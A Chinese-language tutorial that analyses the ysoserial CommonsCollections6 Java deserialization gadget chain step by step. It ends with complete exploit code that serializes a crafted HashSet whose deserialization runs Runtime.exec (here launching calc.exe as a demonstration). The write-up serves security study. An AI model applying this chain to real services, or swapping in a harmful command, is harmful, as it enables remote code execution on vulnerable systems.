java 安全 ysoserial CommonsCollections6 分析

目录
  • 利用链如下
    • 1、InvokerTransformer.transform()
    • 2、ChainedTransformer.transform()
    • 3、LazyMap.get()
    • 4、TiedMapEntry
    • 5、HashMap
    • 6、HashSet

利用链如下

其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致。

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
*/

1、InvokerTransformer.transform()

因为Runtime类不实现Serializable接口,所以使用Class类对象反射构造Runtime对象来实现exec方法。InvokerTransformer.transform()具备反射执行能力。

Class cr = Class.forName("java.lang.Runtime");
        Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr);
        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

2、ChainedTransformer.transform()

使用ChainedTransformer构造方法,给iTransformers赋值,在transform中执行iTransformers所有元素的transform,transform传入的参数为前一个元素的对象。所以这个方法可以对步骤1中链执行。

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

创建一个Transformer[],包含步骤1中所有对象。

Transformer[] transformers = {
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

由于步骤1中cr对象是Class对象,不实现Transformer接口。通过ConstantTransformer的transform方法得到一个实现Transformer的方法。

public ConstantTransformer(Object constantToReturn) {
	super();
	iConstant = constantToReturn;
}
public Object transform(Object input) {
	return iConstant;
}

所以最终得到的transformers是

public static void main(String[] args) throws Exception {
//        Class cr = Class.forName("java.lang.Runtime");
        ;
        Transformer[] transformers = {
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        new ChainedTransformer(transformers).transform(1);
    //calc.exe
    }

3、LazyMap.get()

LazyMap类的get方法实现了,对factory的transform。factory的decorate方法实现了对factory的赋值,Transformer类型

所以向decorate传入new ChainedTransformer(transformers),最终调用get来实现new ChainedTransformer(transformers)的transform。

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
}
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

当然调用get方法的时候,如果key是不存在的才会执行factory.transform(key),所以最终的调用

Transformer transformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put(1,"hello");
Map lazyMap = LazyMap.decorate(map, transformer);
lazyMap.get(2);
//calc.exe

4、TiedMapEntry

根据利用链,下一步通过TiedMapEntry构造方法传入map和key,通过getValue实现对map参数的get操作,所以将lazyMap和一个不存在的key作为参数传入。

public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
}
public Object getValue() {
        return map.get(key);
}

利用链

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.getValue();

再看TiedMapEntry的hashCode方法,实现了getValue()的调用。

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode());
}

利用链

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.hashcode();

5、HashMap

hashmap的hash实现了对参数key的hashcode方法,put方法实现了hash方法

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h &gt;&gt;&gt; 16);
}
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
}

利用链

Map hashmap = new HashMap();
hashmap.put(tiedMapEntry,1);
//calc.exe

6、HashSet

根据利用链看HashSet类的readobject(),由于map = new HashMap<>(),最终实现了在readobject中调用了hashmap.put方法。

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        ...
        // Read in all elements in the proper order.
        for (int i=0; i&lt;size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

利用链

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject();

由于在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中实际执行的lazyMap.get(2)。

public Object getValue() {
        return map.get(key);
}

lazyMap.get(2)该执行过程中,如果lazyMap不存在key,会对lazyMap储值。

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
}

所以在做序列化的时候实际lazyMap中已经存在了key=2,反序列化的时候map.containsKey(key) == false不成立,在反序列化过程中无法成功执行Object value = factory.transform(key);

在序列化之前需要将该key移除

lazyMap.remove(2);

优化:

由于hashSet.add(tiedMapEntry);中,执行了map.put(tiedMapEntry),最终会在本地执行exec。

public boolean add(E e) {
        return map.put(e, PRESENT)==null;
}

在一开始可以对transformers赋空值,在序列化之前再对ChainedTransformer类产生的transformer的iTransformers通过反射做修改,将实际执行的exec执行链传入。

Transformer[] transformers = {};
Transformer[] transformerslist = {
	new ConstantTransformer(Class.forName("java.lang.Runtime")),
	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
	new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
	new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist);

最终的利用链

public class CC6Test1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = {};
        Transformer[] transformerslist = {
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put(1,"hello");
        Map lazyMap = LazyMap.decorate(map, transformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
        HashSet hashSet = new HashSet();
        hashSet.add(tiedMapEntry);
        lazyMap.remove(2);
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformer, transformerslist);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
        objectOutputStream.writeObject(hashSet);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
        objectInputStream.readObject();
    }
}

以上就是java 安全 ysoserial CommonsCollections6 分析的详细内容,更多关于java ysoserial CommonsCollections6的资料请关注我们其它相关文章!

(0)

相关推荐

  • java安全fastjson1.2.24反序列化TemplatesImpl分析

    目录 1. fastjson序列化 2. fastjson反序列化 3. fastjson反序列化漏洞原理 4. fastjson1.2.24漏洞复现 5. fastjson1.2.24漏洞分析 前言 漏洞环境: fastjson1.2.24 jdk1.7.80 新建一个maven项目在pom.xml文件中引入fastjson的依赖: <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjs

  • 深入探究Java线程不安全的原因与解决

    目录 一.什么是线程安全 二.线程不安全的原因 1.修改共享数据 2.原子性 3.内存可见性 4.指令重排序 三.解决线程安全方案 一.什么是线程安全 想给出一个线程安全的确切定义是复杂的,但我们可以这样认为: 如果多线程环境下代码运行的结果是符合我们预期的,即在单线程环境应该的结果,则说这个程序是线程安全的 二.线程不安全的原因 1.修改共享数据 static class Counter { public int count = 0; void increase() { count++; }

  • Java中Map实现线程安全的3种方式

    目录 方式1. 使用Hashtable 方式2. 使用Collections.synchronizedMap(newHashtable()) 方式3. 使用ConcurrentHashMap 方式1.  使用Hashtable Map<String,Object> hashtable=new Hashtable<String,Object>(); 这是所有人最先想到的,那为什么它是线程安全的?那就看看它的源码,我们可以看出我们常用的put,get,containsKey等方法都是同

  • Java单例模式中的线程安全问题

    目录 一. 使用多线程需要考虑的因素 二. 单例模式 1. 饿汉模式 2. 懒汉模式 3. 懒汉模式(使用synchronized改进) 4. 懒汉模式(使用双重校验锁改进) 三. volatile的原理 四. volatile的扩展问题(了解) 一. 使用多线程需要考虑的因素 提高效率:使用多线程就是为了充分利用CPU资源,提高任务的效率线程安全:使用多线程最基本的就是保障线程安全问题 所以我们在设计多线程代码的时候就必须在满足线程安全的前提下尽可能的提高任务执行的效故:加锁细粒度化:加锁的代

  • java安全 ysoserial CommonsCollections1示例解析

    目录 正文 先假设Runtime类可序列化 调用InvokerTransformer.transform() InvokerTransformer的transform调用 ChainedTransformer的transform谁来调? lazyMap的get谁来调用? AnnotationInvocationHandler的readobject重写 正文 /* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHa

  • Java安全 ysoserial CommonsCollections3示例分析

    目录 cc3利用链如下: 一.为构造的恶意字节码文件找一个newInstance启动入口 构造恶意类: 加载的字节码类需要继承AbstractTranslet 二.将字节码内容直接赋值序列化 三.让newTransformer得到执行 cc3利用链如下: TrAXFilter(Templates templates) TemplatesImpl->newTransformer() TemplatesImpl->getTransletInstance() _class[_transletInde

  • java 安全 ysoserial CommonsCollections6 分析

    目录 利用链如下 1.InvokerTransformer.transform() 2.ChainedTransformer.transform() 3.LazyMap.get() 4.TiedMapEntry 5.HashMap 6.HashSet 利用链如下 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* Gadget chain: java.io.Object

  • Java安全 ysoserial CommonsCollections2示例分析

    目录 正文 cc2 commons-collections4版本利用链 InvokerTransformer.transform()利用 InvokerTransformer.transform()的调用 TransformingComparator.compare()的调用 queue属性赋值 最终完整利用实现 正文 在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransfor

  • java 安全ysoserial URLDNS利用链分析

    目录 JAVA序列化和反序列化的基本概念 序列化和反序列化的类 简单测试 重写的readobject方法 分析URLDNS的利用链 方法中遍历key值执行putVal方法 触发:URL类中的hashCode方法 触发DNS请求: JAVA序列化和反序列化的基本概念 在分析URLDNS之前,必须了解JAVA序列化和反序列化的基本概念. 其中几个重要的概念: 需要让某个对象支持序列化机制,就必须让其类是可序列化,为了让某类可序列化的,该类就必须实现如下两个接口之一: Serializable:标记接

  • Java 动态代理原理分析

    Java 动态代理原理分析 概要 AOP的拦截功能是由java中的动态代理来实现的.说白了,就是在目标类的基础上增加切面逻辑,生成增强的目标类(该切面逻辑或者在目标类函数执行之前,或者目标类函数执行之后,或者在目标类函数抛出异常时候执行.Spring中的动态代理是使用Cglib进行实现的.我们这里分析的是JDK中的动态代理实现机制. 下面我们通过例子快速了解JDK中的动态代理实现方式. 示例 需要代理的接口 public interface IHello { public void sayHel

  • Java太阳系小游戏分析和源码详解

    最近看了面向对象的一些知识,然后跟着老师的讲解做了一个太阳系各行星绕太阳转的小游戏,来练习巩固一下最近学的知识: 用到知识点:类的继承.方法的重载与重写.多态.封装等 分析: 1.需要加载图片.画图 2.建一个面板,主页面 3.行星类 效果图: 先看一下源码结构图: 现在逐步分析各个类的功能: 1)工具类-----util包中 --Constant类   封装了游戏中用到的常量 --GameUtil类  封装了游戏的图片加载功能 --MyFrame类  封装了游戏面板的构造,用于各面板的父类 -

  • java集合类源码分析之Set详解

    Set集合与List一样,都是继承自Collection接口,常用的实现类有HashSet和TreeSet.值得注意的是,HashSet是通过HashMap来实现的而TreeSet是通过TreeMap来实现的,所以HashSet和TreeSet都没有自己的数据结构,具体可以归纳如下: •Set集合中的元素不能重复,即元素唯一 •HashSet按元素的哈希值存储,所以是无序的,并且最多允许一个null对象 •TreeSet按元素的大小存储,所以是有序的,并且不允许null对象 •Set集合没有ge

  • Java遍历集合方法分析(实现原理、算法性能、适用场合)

    概述 Java语言中,提供了一套数据集合框架,其中定义了一些诸如List.Set等抽象数据类型,每个抽象数据类型的各个具体实现,底层又采用了不同的实现方式,比如ArrayList和LinkedList. 除此之外,Java对于数据集合的遍历,也提供了几种不同的方式.开发人员必须要清楚的明白每一种遍历方式的特点.适用场合.以及在不同底层实现上的表现.下面就详细分析一下这一块内容. 数据元素是怎样在内存中存放的? 数据元素在内存中,主要有2种存储方式: 1.顺序存储,Random Access(Di

  • java 中ThreadLocal实例分析

    java  中ThreadLocal实例分析 从概念上理解,threadlocal使变量在多个线程中相互隔离实现线程安全,threadlocal包装的变量最终都专属于对应的每个线程,线程之间相互独立,用一个具体实现来说明: public interface Consumer { int consume(); } public class ComsumeThread implements Runnable { private Consumer consumer; public ComsumeThr

  • Java String源码分析并介绍Sting 为什么不可变

    Java String源码分析 什么是不可变对象? 众所周知, 在Java中, String类是不可变的.那么到底什么是不可变的对象呢? 可以这样认为:如果一个对象,在它创建完成之后,不能再改变它的状态,那么这个对象就是不可变的.不能改变状态的意思是,不能改变对象内的成员变量,包括基本数据类型的值不能改变,引用类型的变量不能指向其他的对象,引用类型指向的对象的状态也不能改变. 区分对象和对象的引用 对于Java初学者, 对于String是不可变对象总是存有疑惑.看下面代码: String s =

随机推荐